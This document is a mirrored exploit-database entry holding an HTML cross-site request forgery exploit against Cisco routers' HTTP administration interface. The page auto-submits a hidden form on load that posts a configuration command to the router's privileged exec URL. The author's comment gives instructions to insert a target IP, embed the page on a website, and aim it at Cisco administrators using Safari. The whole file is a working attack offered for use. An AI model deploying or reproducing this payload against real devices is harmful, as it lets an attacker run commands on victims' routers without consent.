mirror of
https://github.com/offensive-security/exploitdb.git
synced 2026-11-10 22:11:29 -10:00
27 lines
716 B
HTML
Executable File
27 lines
716 B
HTML
Executable File
<!-- Jeremy Brown [[email protected]/http://jbrownsec.blogspot.com]
|
|
Cisco Router HTTP Administration CSRF Remote Command Execution Universal Exploit #2
|
|
Replace "10.10.10.1" with the IP address of the target router, embed this in a web
|
|
page and hope for the best. Cisco Admin's + Safari are the best targets ;) -->
|
|
|
|
|
|
<html>
|
|
<body>
|
|
|
|
<body onload="fdsa.submit();">
|
|
|
|
|
|
|
|
<form name=fdsa method="post" action="http://10.10.10.1/level/15/exec/-/configure/http">
|
|
|
|
<input type=hidden name=command value="alias exec xx xx">
|
|
|
|
|
|
|
|
<input type=hidden name=command_url value="/level/15/exec/-">
|
|
<input type=hidden name=new_command_url value="/level/15/configure/-">
|
|
|
|
</body>
|
|
</html>
|
|
|
|
# milw0rm.com [2008-09-17]
|